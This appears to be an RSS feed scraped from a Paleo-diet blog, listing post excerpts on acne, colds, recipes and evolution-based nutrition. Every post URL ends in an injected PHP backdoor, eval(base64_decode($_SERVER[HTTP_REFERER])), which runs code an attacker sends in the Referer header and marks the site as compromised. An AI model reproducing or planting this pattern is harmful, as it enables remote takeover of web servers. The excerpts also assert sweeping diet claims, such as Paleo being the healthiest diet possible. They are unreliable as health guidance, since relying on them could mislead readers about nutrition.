http://www.imanomnivore.com "Evolution is cleverer than you are." -Leslie Orgel Sun, 29 Mar 2009 09:51:02 +0000 http://backend.userland.com/rss092 en 1 hour 4 miles 12 donuts 2400 calories http://www.imanomnivore.com/2008/02/10/the-krispy-kreme-challenge/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The last two months have been pretty bad in terms of eating, exercising, and even blogging. I went back to grains, then dairy, then sugar as part of an experiment on acne, so I really didn't feel like I was in any position to write about eating healthily. I'm definitely ... http://www.imanomnivore.com/2008/01/23/o-crap-i-cant-move-my-arms/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A few weeks ago, I came down with a cold. Colds suck. Now, that shouldn't be such a big deal normally, but I am keeping a close eye on the way my diet is affecting my health. Oh, and there's also the fact that I wrote this article: 4 Ways ... http://www.imanomnivore.com/2007/12/12/i-got-sick-not-surprisingly/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ In case you've been wondering why I've neglected my posting duties, I'll point you in the direction of a box. To be completely honest two boxes were involved, often working in conjuction to dominate my life during the last month. Beyond that though, I had been putting a ridiculous amount of ... http://www.imanomnivore.com/2007/11/03/a-thousand-nations-of-the-persian-empire-descend-upon-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Last month, I explained Why Paleo Is the Healthiest Diet Possible. One of the underlying topics I covered was the role of natural selection in human evolution. I think that understanding human evolution is the single most important step to understanding nutrition. Here's the thing. As I said last time, people misunderstand ... http://www.imanomnivore.com/2007/10/19/my-genetic-algorithm-let-me-show-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ If you go check out my diet page you might notice that I'm going back on grains. In fact, I'll be back on dairy in a month. My descent into the Paleo diet is going to have to be put on hold for a short while. Before I get too ... http://www.imanomnivore.com/2007/10/10/what-really-causes-acne/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I've always wanted to make my own sesame chicken. I get sesame chicken almost every time I go to a chinese restaurant. Believe it or not, I actually find chinese restaurants good places to avoid grains and dairy. Dairy usually isn't a problem at all; grains can mostly be avoided ... http://www.imanomnivore.com/2007/10/03/sesame-chicken-broccoli/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Did you know that, out of the three big macronutrients (carbohydrates, fats, and proteins), there is one that is completely nonessential? It's true. You don't have to include it in your diet and if you don't, you won't end up nutritionally deficient. You can survive without this macronutrient for a ... http://www.imanomnivore.com/2007/09/29/the-only-macronutrient-you-dont-need/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I was trying to emulate the type of meal that is usually served up at Kanki, a Japanese steakhouse. The stir fry part is pretty obvious. I fried zucchini, mushrooms, and precooked shrimp (probably a bad idea). I assume some people have never heard of swedes, or rutabagas as they ... http://www.imanomnivore.com/2007/09/27/shrimp-stir-fry-with-mashed-swedes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Many people that get introduced to the Paleo diet dismiss it immediately as nonsense. They attempt to find quick ways to disregard the entire idea, so they can go on believing that their diet is just fine. Understanding Evolution One of the primary reasons that the Paleo diet hasn't become more popular ... http://www.imanomnivore.com/2007/09/23/why-paleo-is-the-healthiest-diet-possible/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/